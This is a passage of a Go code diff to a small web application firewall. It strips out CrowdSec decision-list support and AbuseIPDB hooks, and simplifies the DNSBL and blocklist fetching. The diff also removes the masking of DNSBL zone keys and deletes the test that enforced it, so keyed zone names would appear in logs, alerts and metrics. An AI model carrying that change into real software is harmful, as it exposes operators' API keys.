||||||
// the zero Decision for none.
|
|
||||||
func wantDecision(
|
|
||||||
t *testing.T, lists *reputation.Lists, addr string, want reputation.Decision,
|
|
||||||
) {
|
|
||||||
t.Helper()
|
|
||||||
|
|
||||||
got, listed := lists.CrowdSecDecision(netip.MustParseAddr(addr), time.Now())
|
|
||||||
if listed != !want.Expires.IsZero() ||
|
|
||||||
listed && (!got.Expires.Equal(want.Expires) || got.Scenario != want.Scenario) {
|
|
||||||
t.Errorf("%s has the decision %+v in force %t, want %+v", addr, got, listed, want)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -16,21 +16,19 @@ import (
|
|||||||
|
|
||||||
"github.com/hashicorp/golang-lru/v2/simplelru"
|
"github.com/hashicorp/golang-lru/v2/simplelru"
|
||||||
"sneak.berlin/go/smallwebwaf/internal/alerts"
|
"sneak.berlin/go/smallwebwaf/internal/alerts"
|
||||||
"sneak.berlin/go/smallwebwaf/internal/config"
|
|
||||||
)
|
)
|
||||||
|
|
||||||
const (
|
const (
|
||||||
// maxVerdicts is how many verdicts of the DNSBL zones are kept, and how
|
// maxVerdicts is how many verdicts are kept. Past it, the one fetched
|
||||||
// many scores of AbuseIPDB. Past it, the one fetched longest ago is
|
// longest ago is dropped.
|
||||||
// dropped.
|
|
||||||
maxVerdicts = 100000
|
maxVerdicts = 100000
|
||||||
// maxQueries is how many queries may be under way at once. Past it, a
|
// maxQueries is how many queries may be under way at once. Past it, a
|
||||||
// zone is not asked about a client until the client's next request, so
|
// zone is not asked about a client until the client's next request, so
|
||||||
// that a swarm of new addresses cannot fill the memory.
|
// that a swarm of new addresses cannot fill the memory.
|
||||||
maxQueries = 1000
|
maxQueries = 1000
|
||||||
// failureDelay is how long a zone is not asked again after a query to
|
// failureDelay is how long a zone is not asked again after a query to
|
||||||
// it fails, and no client is checked with AbuseIPDB after a check
|
// it fails, so that a zone refusing queries is not asked on every
|
||||||
// fails, so that a source refusing them is not asked on every request.
|
// request.
|
||||||
failureDelay = time.Minute
|
failureDelay = time.Minute
|
||||||
)
|
)
|
||||||
|
|
||||||
@@ -133,14 +131,12 @@ func (d *DNSBL) Zones() []string {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// ListedBy returns the zones whose verdict on addr, a client's address,
|
// ListedBy returns the zones whose verdict on addr, a client's address,
|
||||||
// lists it, in the order SWWAF_DNSBL_ZONES names them, each with its key
|
// lists it, in the order SWWAF_DNSBL_ZONES names them. A verdict is used
|
||||||
// masked, as config.MaskZoneKey masks it, since they go to the request
|
// until CacheTTL has passed since it was fetched. Each zone without one is
|
||||||
// log, the alerts and the metrics. A verdict is used until CacheTTL has
|
// asked about addr in the background, unless a query about addr to it is
|
||||||
// passed since it was fetched. Each zone without one is asked about addr
|
// under way, the zone is left alone after a failure, or maxQueries are
|
||||||
// in the background, unless a query about addr to it is under way, the
|
// under way; ListedBy never waits for a query. ctx is the context of the
|
||||||
// zone is left alone after a failure, or maxQueries are under way;
|
// client's request, and a query goes on after the request ends.
|
||||||
// ListedBy never waits for a query. ctx is the context of the client's
|
|
||||||
// request, and a query goes on after the request ends.
|
|
||||||
func (d *DNSBL) ListedBy(ctx context.Context, addr netip.Addr) []string {
|
func (d *DNSBL) ListedBy(ctx context.Context, addr netip.Addr) []string {
|
||||||
d.mu.Lock()
|
d.mu.Lock()
|
||||||
defer d.mu.Unlock()
|
defer d.mu.Unlock()
|
||||||
@@ -157,7 +153,7 @@ func (d *DNSBL) ListedBy(ctx context.Context, addr netip.Addr) []string {
|
|||||||
switch {
|
switch {
|
||||||
case found && now.Sub(kept.Fetched) < d.params.CacheTTL:
|
case found && now.Sub(kept.Fetched) < d.params.CacheTTL:
|
||||||
if kept.Listed {
|
if kept.Listed {
|
||||||
listedBy = append(listedBy, config.MaskZoneKey(zone))
|
listedBy = append(listedBy, zone)
|
||||||
}
|
}
|
||||||
case !d.asking[q] && !now.Before(d.retryAt[zone]) && len(d.asking) < maxQueries:
|
case !d.asking[q] && !now.Before(d.retryAt[zone]) && len(d.asking) < maxQueries:
|
||||||
d.asking[q] = true
|
d.asking[q] = true
|
||||||
@@ -233,9 +229,8 @@ func (d *DNSBL) Load(verdicts []Verdict) {
|
|||||||
|
|
||||||
// ask asks q's zone about q's client, keeps the verdict, and notes the
|
// ask asks q's zone about q's client, keeps the verdict, and notes the
|
||||||
// query as no longer under way. A query that fails gives no verdict: it
|
// query as no longer under way. A query that fails gives no verdict: it
|
||||||
// is counted, logged and raised as a source_failure alert, which show the
|
// is counted, logged and raised as a source_failure alert, and the zone is
|
||||||
// zone with its key masked, and the zone is not asked again for
|
// not asked again for failureDelay.
|
||||||
// failureDelay.
|
|
||||||
func (d *DNSBL) ask(ctx context.Context, q query) {
|
func (d *DNSBL) ask(ctx context.Context, q query) {
|
||||||
listed, err := d.lookUp(ctx, q)
|
listed, err := d.lookUp(ctx, q)
|
||||||
now := d.params.Now()
|
now := d.params.Now()
|
||||||
@@ -258,12 +253,14 @@ func (d *DNSBL) ask(ctx context.Context, q query) {
|
|||||||
if err != nil {
|
if err != nil {
|
||||||
const failed = "asking a DNSBL zone failed"
|
const failed = "asking a DNSBL zone failed"
|
||||||
|
|
||||||
shown := config.MaskZoneKey(q.zone)
|
|
||||||
|
|
||||||
// Raised before it is logged, so that the alert is there once the
|
// Raised before it is logged, so that the alert is there once the
|
||||||
// log line is.
|
// log line is.
|
||||||
raiseFailure(d.params.Alerts, failed, shown, err)
|
d.params.Alerts.Raise(alerts.Alert{
|
||||||
d.params.ProcessLog.Warn(failed, "zone", shown, "error", err.Error())
|
Event: alerts.EventSourceFailure,
|
||||||
|
Reason: failed,
|
||||||
|
Detail: map[string]any{"source": q.zone, "error": err.Error()},
|
||||||
|
})
|
||||||
|
d.params.ProcessLog.Warn(failed, "zone", q.zone, "error", err.Error())
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -319,53 +319,6 @@ func TestMetricsCountEachZonesQueriesAndThoseThatFailed(t *testing.T) {
|
|||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
//nolint:paralleltest // one at a time, as the comment at the top of this file says
|
|
||||||
func TestZoneKeyIsMaskedInTheVerdictsTheFailuresAndTheMetrics(t *testing.T) {
|
|
||||||
const (
|
|
||||||
key = "abcdefghijklmnopqrstuvwxyz"
|
|
||||||
keyed = key + ".xbl.dq.spamhaus.net"
|
|
||||||
masked = "********.xbl.dq.spamhaus.net"
|
|
||||||
)
|
|
||||||
|
|
||||||
synctest.Test(t, func(t *testing.T) {
|
|
||||||
var log bytes.Buffer
|
|
||||||
|
|
||||||
queue := newQueue()
|
|
||||||
p := dnsblParams(keyed)
|
|
||||||
p.Alerts = queue
|
|
||||||
p.ProcessLog = slog.New(slog.NewJSONHandler(&log, nil))
|
|
||||||
dnsbl := newDNSBL(&resolverStandIn{answers: map[string]answer{
|
|
||||||
"99.2.0.192." + keyed + ".": {addrs: []string{listing}},
|
|
||||||
"100.2.0.192." + keyed + ".": {rcode: serverFailure},
|
|
||||||
}}, p)
|
|
||||||
m := metrics.New(1, "app")
|
|
||||||
m.AddReputation(reputation.New(params()), dnsbl)
|
|
||||||
|
|
||||||
// Both clients are asked about before either answer comes, so that
|
|
||||||
// the failure does not keep the zone from the other query.
|
|
||||||
wantZones(t, dnsbl, listed)
|
|
||||||
wantZones(t, dnsbl, unlisted)
|
|
||||||
synctest.Wait()
|
|
||||||
wantZones(t, dnsbl, listed, masked)
|
|
||||||
|
|
||||||
if got := waiting(queue); len(got) != 1 || got[0].Detail["source"] != masked {
|
|
||||||
t.Errorf("alerts waiting %+v, want the failure's, from %s", got, masked)
|
|
||||||
}
|
|
||||||
|
|
||||||
scraped := httptest.NewRecorder()
|
|
||||||
m.ServeHTTP(scraped, httptest.NewRequestWithContext(t.Context(), http.MethodGet,
|
|
||||||
"/", http.NoBody))
|
|
||||||
|
|
||||||
for name, shown := range map[string]string{
|
|
||||||
"the log": log.String(), "the metrics": scraped.Body.String(),
|
|
||||||
} {
|
|
||||||
if strings.Contains(shown, key) || !strings.Contains(shown, masked) {
|
|
||||||
t.Errorf("%s shows the key, or does not name the zone:\n%s", name, shown)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
})
|
|
||||||
}
|
|
||||||
|
|
||||||
//nolint:paralleltest // one at a time, as the comment at the top of this file says
|
//nolint:paralleltest // one at a time, as the comment at the top of this file says
|
||||||
func TestVerdictsKeptAcrossARestart(t *testing.T) {
|
func TestVerdictsKeptAcrossARestart(t *testing.T) {
|
||||||
synctest.Test(t, func(t *testing.T) {
|
synctest.Test(t, func(t *testing.T) {
|
||||||
|
|||||||
@@ -11,13 +11,6 @@ import (
|
|||||||
// network.
|
// network.
|
||||||
func (l *Lists) SetTransport(transport http.RoundTripper) {
|
func (l *Lists) SetTransport(transport http.RoundTripper) {
|
||||||
l.httpClient.Transport = transport
|
l.httpClient.Transport = transport
|
||||||
l.crowdSecClient.Transport = transport
|
|
||||||
}
|
|
||||||
|
|
||||||
// SetTransport has a's checks go through transport instead of the
|
|
||||||
// network.
|
|
||||||
func (a *AbuseIPDB) SetTransport(transport http.RoundTripper) {
|
|
||||||
a.httpClient.Transport = transport
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// SetDial has d's queries go through dial instead of the network.
|
// SetDial has d's queries go through dial instead of the network.
|
||||||
|
|||||||
@@ -1,18 +1,15 @@
|
|||||||
// Package reputation fetches the lists the settings name by URL: the
|
// Package reputation fetches the lists the settings name by URL: the
|
||||||
// blocklists of SWWAF_BLOCKLIST_URLS, the file of AS:percent lines
|
// blocklists of SWWAF_BLOCKLIST_URLS, and the file of AS:percent lines
|
||||||
// SWWAF_ASN_LIMIT_PERCENT_URL names, and the decision list of the CrowdSec
|
// SWWAF_ASN_LIMIT_PERCENT_URL names. It keeps the last good copy of each,
|
||||||
// engine SWWAF_CROWDSEC_LAPI_URL names. It keeps the last good copy of
|
// whole, comment lines included, which is used while a fetch fails, and
|
||||||
// each, whole, comment lines included, which is used while a fetch fails,
|
// when each was last tried. It also asks the DNSBL zones of
|
||||||
// and when each was last tried. It also asks the DNSBL zones of
|
// SWWAF_DNSBL_ZONES about clients, and keeps their verdicts. The state
|
||||||
// SWWAF_DNSBL_ZONES about clients, and keeps their verdicts, and checks
|
// package writes all of these to reputation.json and reads them from it,
|
||||||
// clients with AbuseIPDB, and keeps their scores and the checks spent
|
// so that a restart keeps them too.
|
||||||
// today. The state package writes all of these to reputation.json and
|
|
||||||
// reads them from it, so that a restart keeps them too.
|
|
||||||
package reputation
|
package reputation
|
||||||
|
|
||||||
import (
|
import (
|
||||||
"context"
|
"context"
|
||||||
"encoding/json"
|
|
||||||
"errors"
|
"errors"
|
||||||
"fmt"
|
"fmt"
|
||||||
"io"
|
"io"
|
||||||
@@ -34,10 +31,6 @@ const (
|
|||||||
maxListBytes = 16 << 20
|
maxListBytes = 16 << 20
|
||||||
// fetchTimeout bounds one fetch of a list.
|
// fetchTimeout bounds one fetch of a list.
|
||||||
fetchTimeout = time.Minute
|
fetchTimeout = time.Minute
|
||||||
// crowdSecRefresh is how long after the CrowdSec decision list was last
|
|
||||||
// fetched or tried it is fetched again: the engine is the operator's
|
|
||||||
// own, and makes and ends decisions all the time.
|
|
||||||
crowdSecRefresh = time.Minute
|
|
||||||
// mappedBits is the length of ::ffff:0.0.0.0/96, the netblock of every
|
// mappedBits is the length of ::ffff:0.0.0.0/96, the netblock of every
|
||||||
// IPv4-mapped address.
|
// IPv4-mapped address.
|
||||||
mappedBits = 96
|
mappedBits = 96
|
||||||
@@ -49,8 +42,6 @@ var (
|
|||||||
errNotNetblock = errors.New("is not an address or a netblock, such as 192.0.2.0/24")
|
errNotNetblock = errors.New("is not an address or a netblock, such as 192.0.2.0/24")
|
||||||
errNotASNPercent = errors.New(
|
errNotASNPercent = errors.New(
|
||||||
"is not an AS number, : and a percentage, such as AS64496:50")
|
"is not an AS number, : and a percentage, such as AS64496:50")
|
||||||
errNotDecision = errors.New(
|
|
||||||
"does not give an address or a netblock and a duration, such as 4h0m0s")
|
|
||||||
)
|
)
|
||||||
|
|
||||||
// List is a list as reputation.json holds it: the URL it is fetched from,
|
// List is a list as reputation.json holds it: the URL it is fetched from,
|
||||||
@@ -71,14 +62,8 @@ type Params struct {
|
|||||||
// (SWWAF_ASN_LIMIT_PERCENT_URL), "" while it is unset.
|
// (SWWAF_ASN_LIMIT_PERCENT_URL), "" while it is unset.
|
||||||
BlocklistURLs []string
|
BlocklistURLs []string
|
||||||
ASNLimitPercentURL string
|
ASNLimitPercentURL string
|
||||||
// CrowdSecDecisionsURL is the CrowdSec decision list, "" while
|
|
||||||
// SWWAF_CROWDSEC_LAPI_URL is unset, fetched with CrowdSecKey
|
|
||||||
// (SWWAF_CROWDSEC_LAPI_KEY).
|
|
||||||
CrowdSecDecisionsURL string
|
|
||||||
CrowdSecKey string
|
|
||||||
// Refresh is how long after a list was last fetched or tried it is
|
// Refresh is how long after a list was last fetched or tried it is
|
||||||
// fetched again (SWWAF_BLOCKLIST_REFRESH), but for the CrowdSec decision
|
// fetched again (SWWAF_BLOCKLIST_REFRESH).
|
||||||
// list, which is fetched again crowdSecRefresh after.
|
|
||||||
Refresh time.Duration
|
Refresh time.Duration
|
||||||
// Now tells the time, normally time.Now in UTC.
|
// Now tells the time, normally time.Now in UTC.
|
||||||
Now func() time.Time
|
Now func() time.Time
|
||||||
@@ -93,10 +78,6 @@ type Params struct {
|
|||||||
type Lists struct {
|
type Lists struct {
|
||||||
params Params
|
params Params
|
||||||
httpClient *http.Client
|
httpClient *http.Client
|
||||||
// crowdSecClient fetches the CrowdSec decision list. It follows no
|
|
||||||
// redirect, so that the key goes to the engine alone: a redirect is a
|
|
||||||
// failure.
|
|
||||||
crowdSecClient *http.Client
|
|
||||||
|
|
||||||
mu sync.Mutex
|
mu sync.Mutex
|
||||||
// lists are by URL, one for each URL Params names.
|
// lists are by URL, one for each URL Params names.
|
||||||
@@ -113,36 +94,17 @@ type list struct {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// entries are what the lines of a copy say: for a blocklist, the netblocks
|
// entries are what the lines of a copy say: for a blocklist, the netblocks
|
||||||
// it names, with the lengths among them, for the file of AS:percent lines,
|
// it names, with the lengths among them, and for the file of AS:percent
|
||||||
// the percentage it gives each AS number, and for the CrowdSec decision
|
// lines, the percentage it gives each AS number.
|
||||||
// list, the decision on each netblock that ends last, with the lengths
|
|
||||||
// among them.
|
|
||||||
type entries struct {
|
type entries struct {
|
||||||
netblocks map[netip.Prefix]bool
|
netblocks map[netip.Prefix]bool
|
||||||
lengths []int
|
lengths []int
|
||||||
percents map[string]int64
|
percents map[string]int64
|
||||||
decisions map[netip.Prefix]Decision
|
|
||||||
}
|
|
||||||
|
|
||||||
// Decision is a decision of the CrowdSec engine to ban a netblock: when
|
|
||||||
// it ends, and the scenario that made it, such as crowdsecurity/ssh-bf.
|
|
||||||
type Decision struct {
|
|
||||||
Expires time.Time
|
|
||||||
Scenario string
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// New returns the lists, without a copy of any yet.
|
// New returns the lists, without a copy of any yet.
|
||||||
func New(params Params) *Lists {
|
func New(params Params) *Lists {
|
||||||
l := &Lists{
|
l := &Lists{params: params, httpClient: &http.Client{}, lists: map[string]*list{}}
|
||||||
params: params,
|
|
||||||
httpClient: &http.Client{},
|
|
||||||
crowdSecClient: &http.Client{
|
|
||||||
CheckRedirect: func(*http.Request, []*http.Request) error {
|
|
||||||
return http.ErrUseLastResponse
|
|
||||||
},
|
|
||||||
},
|
|
||||||
lists: map[string]*list{},
|
|
||||||
}
|
|
||||||
|
|
||||||
for _, listURL := range l.URLs() {
|
for _, listURL := range l.URLs() {
|
||||||
l.lists[listURL] = &list{kept: List{URL: listURL}}
|
l.lists[listURL] = &list{kept: List{URL: listURL}}
|
||||||
@@ -152,18 +114,13 @@ func New(params Params) *Lists {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// URLs returns the URL of every list: the blocklists' in the order
|
// URLs returns the URL of every list: the blocklists' in the order
|
||||||
// SWWAF_BLOCKLIST_URLS names them, then SWWAF_ASN_LIMIT_PERCENT_URL, then
|
// SWWAF_BLOCKLIST_URLS names them, then SWWAF_ASN_LIMIT_PERCENT_URL.
|
||||||
// the CrowdSec decision list's.
|
|
||||||
func (l *Lists) URLs() []string {
|
func (l *Lists) URLs() []string {
|
||||||
urls := slices.Clone(l.params.BlocklistURLs)
|
urls := slices.Clone(l.params.BlocklistURLs)
|
||||||
if l.params.ASNLimitPercentURL != "" {
|
if l.params.ASNLimitPercentURL != "" {
|
||||||
urls = append(urls, l.params.ASNLimitPercentURL)
|
urls = append(urls, l.params.ASNLimitPercentURL)
|
||||||
}
|
}
|
||||||
|
|
||||||
if l.params.CrowdSecDecisionsURL != "" {
|
|
||||||
urls = append(urls, l.params.CrowdSecDecisionsURL)
|
|
||||||
}
|
|
||||||
|
|
||||||
return urls
|
return urls
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -199,37 +156,6 @@ func (l *Lists) ASNLimitPercent(asn string) (int64, bool) {
|
|||||||
return percent, listed
|
return percent, listed
|
||||||
}
|
}
|
||||||
|
|
||||||
// CrowdSecDecision returns the decision of the copy of the CrowdSec
|
|
||||||
// decision list on a netblock that holds addr and that ends last, and
|
|
||||||
// whether it is still in force at now. A decision that has ended no
|
|
||||||
// longer bans, even before the next fetch drops it.
|
|
||||||
func (l *Lists) CrowdSecDecision(addr netip.Addr, now time.Time) (Decision, bool) {
|
|
||||||
if l.params.CrowdSecDecisionsURL == "" {
|
|
||||||
return Decision{}, false
|
|
||||||
}
|
|
||||||
|
|
||||||
l.mu.Lock()
|
|
||||||
defer l.mu.Unlock()
|
|
||||||
|
|
||||||
kept := l.lists[l.params.CrowdSecDecisionsURL].entries
|
|
||||||
|
|
||||||
var last Decision
|
|
||||||
|
|
||||||
for _, length := range kept.lengths {
|
|
||||||
netblock, err := addr.Prefix(length)
|
|
||||||
if err != nil {
|
|
||||||
continue // an IPv6 netblock's length, past an IPv4 address's 32 bits
|
|
||||||
}
|
|
||||||
|
|
||||||
decision := kept.decisions[netblock]
|
|
||||||
if decision.Expires.After(last.Expires) {
|
|
||||||
last = decision
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
return last, now.Before(last.Expires)
|
|
||||||
}
|
|
||||||
|
|
||||||
// Fetched returns when the copy in use of the list at listURL was
|
// Fetched returns when the copy in use of the list at listURL was
|
||||||
// fetched, or zero while there is none.
|
// fetched, or zero while there is none.
|
||||||
func (l *Lists) Fetched(listURL string) time.Time {
|
func (l *Lists) Fetched(listURL string) time.Time {
|
||||||
@@ -247,9 +173,10 @@ func (l *Lists) Failures(listURL string) int {
|
|||||||
return l.lists[listURL].failures
|
return l.lists[listURL].failures
|
||||||
}
|
}
|
||||||
|
|
||||||
// Run fetches each list once it is due, as due tells, until ctx is done. A
|
// Run fetches each list once Refresh has passed since it was last fetched
|
||||||
// list never tried is fetched at once, and so is one that is due by its
|
// or tried, the later of the two, until ctx is done. A list never tried is
|
||||||
// last try or copy read from reputation.json.
|
// fetched at once, and so is one whose last try or copy, read from
|
||||||
|
// reputation.json, is that old.
|
||||||
func (l *Lists) Run(ctx context.Context) {
|
func (l *Lists) Run(ctx context.Context) {
|
||||||
if len(l.lists) == 0 {
|
if len(l.lists) == 0 {
|
||||||
return
|
return
|
||||||
@@ -297,12 +224,11 @@ func (l *Lists) Load(lists []List) error {
|
|||||||
found := make(map[string]entries, len(lists))
|
found := make(map[string]entries, len(lists))
|
||||||
|
|
||||||
for _, kept := range lists {
|
for _, kept := range lists {
|
||||||
_, named := l.lists[kept.URL]
|
if _, named := l.lists[kept.URL]; !named {
|
||||||
if !named || kept.Fetched.IsZero() {
|
continue
|
||||||
continue // dropped, or a list tried but never fetched, without a copy
|
|
||||||
}
|
}
|
||||||
|
|
||||||
read, err := l.parse(kept.URL, kept.Lines, kept.Fetched)
|
read, err := l.parse(kept.URL, kept.Lines)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return fmt.Errorf("the copy of %s: %w", kept.URL, err)
|
return fmt.Errorf("the copy of %s: %w", kept.URL, err)
|
||||||
}
|
}
|
||||||
@@ -318,8 +244,9 @@ func (l *Lists) Load(lists []List) error {
|
|||||||
}
|
}
|
||||||
|
|
||||||
for _, kept := range lists {
|
for _, kept := range lists {
|
||||||
if _, named := l.lists[kept.URL]; named {
|
read, named := found[kept.URL]
|
||||||
l.lists[kept.URL].kept, l.lists[kept.URL].entries = kept, found[kept.URL]
|
if named {
|
||||||
|
l.lists[kept.URL].kept, l.lists[kept.URL].entries = kept, read
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -348,8 +275,7 @@ func (l *Lists) fetchDue(ctx context.Context) time.Time {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// due returns when the list at listURL is to be fetched: Refresh after it
|
// due returns when the list at listURL is to be fetched: Refresh after it
|
||||||
// was last fetched or tried, the later of the two, or crowdSecRefresh
|
// was last fetched or tried, the later of the two.
|
||||||
// after for the CrowdSec decision list.
|
|
||||||
func (l *Lists) due(listURL string) time.Time {
|
func (l *Lists) due(listURL string) time.Time {
|
||||||
l.mu.Lock()
|
l.mu.Lock()
|
||||||
defer l.mu.Unlock()
|
defer l.mu.Unlock()
|
||||||
@@ -361,10 +287,6 @@ func (l *Lists) due(listURL string) time.Time {
|
|||||||
last = held.kept.Tried
|
last = held.kept.Tried
|
||||||
}
|
}
|
||||||
|
|
||||||
if listURL == l.params.CrowdSecDecisionsURL {
|
|
||||||
return last.Add(crowdSecRefresh)
|
|
||||||
}
|
|
||||||
|
|
||||||
return last.Add(l.params.Refresh)
|
return last.Add(l.params.Refresh)
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -375,14 +297,14 @@ func (l *Lists) due(listURL string) time.Time {
|
|||||||
// so that a restart waits for it: the server may have had its request.
|
// so that a restart waits for it: the server may have had its request.
|
||||||
func (l *Lists) fetch(ctx context.Context, listURL string) {
|
func (l *Lists) fetch(ctx context.Context, listURL string) {
|
||||||
lines, err := l.get(ctx, listURL)
|
lines, err := l.get(ctx, listURL)
|
||||||
now := l.params.Now()
|
|
||||||
|
|
||||||
var found entries
|
var found entries
|
||||||
if err == nil {
|
if err == nil {
|
||||||
found, err = l.parse(listURL, lines, now)
|
found, err = l.parse(listURL, lines)
|
||||||
}
|
}
|
||||||
|
|
||||||
cutOff := err != nil && ctx.Err() != nil
|
cutOff := err != nil && ctx.Err() != nil
|
||||||
|
now := l.params.Now()
|
||||||
|
|
||||||
l.mu.Lock()
|
l.mu.Lock()
|
||||||
|
|
||||||
@@ -407,7 +329,11 @@ func (l *Lists) fetch(ctx context.Context, listURL string) {
|
|||||||
|
|
||||||
// Raised before it is logged, so that the alert is there once the
|
// Raised before it is logged, so that the alert is there once the
|
||||||
// log line is.
|
// log line is.
|
||||||
raiseFailure(l.params.Alerts, failed, listURL, err)
|
l.params.Alerts.Raise(alerts.Alert{
|
||||||
|
Event: alerts.EventSourceFailure,
|
||||||
|
Reason: failed,
|
||||||
|
Detail: map[string]any{"source": listURL, "error": err.Error()},
|
||||||
|
})
|
||||||
l.params.ProcessLog.Warn(failed, "url", listURL, "error", err.Error())
|
l.params.ProcessLog.Warn(failed, "url", listURL, "error", err.Error())
|
||||||
|
|
||||||
return
|
return
|
||||||
@@ -416,22 +342,8 @@ func (l *Lists) fetch(ctx context.Context, listURL string) {
|
|||||||
l.params.ProcessLog.Info("fetched a list", "url", listURL, "lines", len(lines))
|
l.params.ProcessLog.Info("fetched a list", "url", listURL, "lines", len(lines))
|
||||||
}
|
}
|
||||||
|
|
||||||
// raiseFailure raises a source_failure alert into queue, with reason, and
|
// get fetches the list at listURL, and returns its lines. An answer other
|
||||||
// in its detail the source that failed, a list's URL, a zone with its key
|
// than 200, or a list longer than maxListBytes, is a failure.
|
||||||
// masked or abuseipdb, and err.
|
|
||||||
func raiseFailure(queue *alerts.Queue, reason, source string, err error) {
|
|
||||||
queue.Raise(alerts.Alert{
|
|
||||||
Event: alerts.EventSourceFailure,
|
|
||||||
Reason: reason,
|
|
||||||
Detail: map[string]any{"source": source, "error": err.Error()},
|
|
||||||
})
|
|
||||||
}
|
|
||||||
|
|
||||||
// get fetches the list at listURL, and returns its lines. The CrowdSec
|
|
||||||
// decision list is fetched with CrowdSecKey in the header X-Api-Key, where
|
|
||||||
// the engine looks for it, by crowdSecClient, which follows no redirect.
|
|
||||||
// An answer other than 200, or a list longer than maxListBytes, is a
|
|
||||||
// failure.
|
|
||||||
func (l *Lists) get(ctx context.Context, listURL string) ([]string, error) {
|
func (l *Lists) get(ctx context.Context, listURL string) ([]string, error) {
|
||||||
ctx, cancel := context.WithTimeout(ctx, fetchTimeout)
|
ctx, cancel := context.WithTimeout(ctx, fetchTimeout)
|
||||||
defer cancel()
|
defer cancel()
|
||||||
@@ -441,14 +353,7 @@ func (l *Lists) get(ctx context.Context, listURL string) ([]string, error) {
|
|||||||
return nil, fmt.Errorf("make the request: %w", err)
|
return nil, fmt.Errorf("make the request: %w", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
client := l.httpClient
|
res, err := l.httpClient.Do(req)
|
||||||
|
|
||||||
if listURL == l.params.CrowdSecDecisionsURL {
|
|
||||||
req.Header.Set("X-Api-Key", l.params.CrowdSecKey)
|
|
||||||
client = l.crowdSecClient
|
|
||||||
}
|
|
||||||
|
|
||||||
res, err := client.Do(req)
|
|
||||||
if err != nil {
|
if err != nil {
|
||||||
// Do's error names the URL, which the log line and the alert name
|
// Do's error names the URL, which the log line and the alert name
|
||||||
// already: only what went wrong is kept.
|
// already: only what went wrong is kept.
|
||||||
@@ -480,22 +385,16 @@ func (l *Lists) get(ctx context.Context, listURL string) ([]string, error) {
|
|||||||
return lines, nil
|
return lines, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
// parse reads the lines of the list at listURL, fetched at fetched: those
|
// parse reads the lines of the list at listURL: those of a blocklist, or
|
||||||
// of a blocklist, of the file of AS:percent lines, or of the CrowdSec
|
// of the file of AS:percent lines. Anything after a ; or a # on a line is
|
||||||
// decision list. In the first two, anything after a ; or a # on a line is
|
|
||||||
// left out, and so is a line left blank. Any other line that does not read
|
// left out, and so is a line left blank. Any other line that does not read
|
||||||
// is an error naming it by its number.
|
// is an error naming it by its number.
|
||||||
func (l *Lists) parse(
|
func (l *Lists) parse(listURL string, lines []string) (entries, error) {
|
||||||
listURL string, lines []string, fetched time.Time,
|
if listURL == l.params.ASNLimitPercentURL {
|
||||||
) (entries, error) {
|
|
||||||
switch listURL {
|
|
||||||
case l.params.ASNLimitPercentURL:
|
|
||||||
return parsePercents(lines)
|
return parsePercents(lines)
|
||||||
case l.params.CrowdSecDecisionsURL:
|
|
||||||
return parseDecisions(lines, fetched)
|
|
||||||
default:
|
|
||||||
return parseNetblocks(lines)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
|
return parseNetblocks(lines)
|
||||||
}
|
}
|
||||||
|
|
||||||
// parseNetblocks reads a blocklist's lines, each an address or a netblock
|
// parseNetblocks reads a blocklist's lines, each an address or a netblock
|
||||||
@@ -579,56 +478,6 @@ func parsePercents(lines []string) (entries, error) {
|
|||||||
return found, nil
|
return found, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
// parseDecisions reads the lines of the CrowdSec decision list fetched at
|
|
||||||
// fetched: the engine's answer, a JSON list of its decisions in force,
|
|
||||||
// null while it has none. A decision of the type ban whose scope is Ip or
|
|
||||||
// Range, as CrowdSec names them, bans its value, an address or a netblock
|
|
||||||
// as parseNetblock reads it, until its duration, the time it had left as
|
|
||||||
// the engine answered, has passed since fetched. Any other decision, such
|
|
||||||
// as one to show a captcha or one on a country, is left out. A decision
|
|
||||||
// to ban whose value or duration does not read is an error naming it by
|
|
||||||
// its number.
|
|
||||||
func parseDecisions(lines []string, fetched time.Time) (entries, error) {
|
|
||||||
var answer []struct {
|
|
||||||
Duration string `json:"duration"`
|
|
||||||
Scenario string `json:"scenario"`
|
|
||||||
Scope string `json:"scope"`
|
|
||||||
Type string `json:"type"`
|
|
||||||
Value string `json:"value"`
|
|
||||||
}
|
|
||||||
|
|
||||||
err := json.Unmarshal([]byte(strings.Join(lines, "\n")), &answer)
|
|
||||||
if err != nil {
|
|
||||||
return entries{}, fmt.Errorf("read the answer: %w", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
found := entries{decisions: map[netip.Prefix]Decision{}}
|
|
||||||
|
|
||||||
for i, decision := range answer {
|
|
||||||
if decision.Type != "ban" || (decision.Scope != "Ip" && decision.Scope != "Range") {
|
|
||||||
continue
|
|
||||||
}
|
|
||||||
|
|
||||||
netblock, ok := parseNetblock(decision.Value)
|
|
||||||
|
|
||||||
duration, err := time.ParseDuration(decision.Duration)
|
|
||||||
if !ok || err != nil {
|
|
||||||
return entries{}, fmt.Errorf("decision %d %w", i+1, errNotDecision)
|
|
||||||
}
|
|
||||||
|
|
||||||
expires := fetched.Add(duration)
|
|
||||||
if expires.After(found.decisions[netblock].Expires) {
|
|
||||||
found.decisions[netblock] = Decision{Expires: expires, Scenario: decision.Scenario}
|
|
||||||
}
|
|
||||||
|
|
||||||
if !slices.Contains(found.lengths, netblock.Bits()) {
|
|
||||||
found.lengths = append(found.lengths, netblock.Bits())
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
return found, nil
|
|
||||||
}
|
|
||||||
|
|
||||||
// withoutComment returns line without anything after a ; or a #, and
|
// withoutComment returns line without anything after a ; or a #, and
|
||||||
// without the spaces around what is left.
|
// without the spaces around what is left.
|
||||||
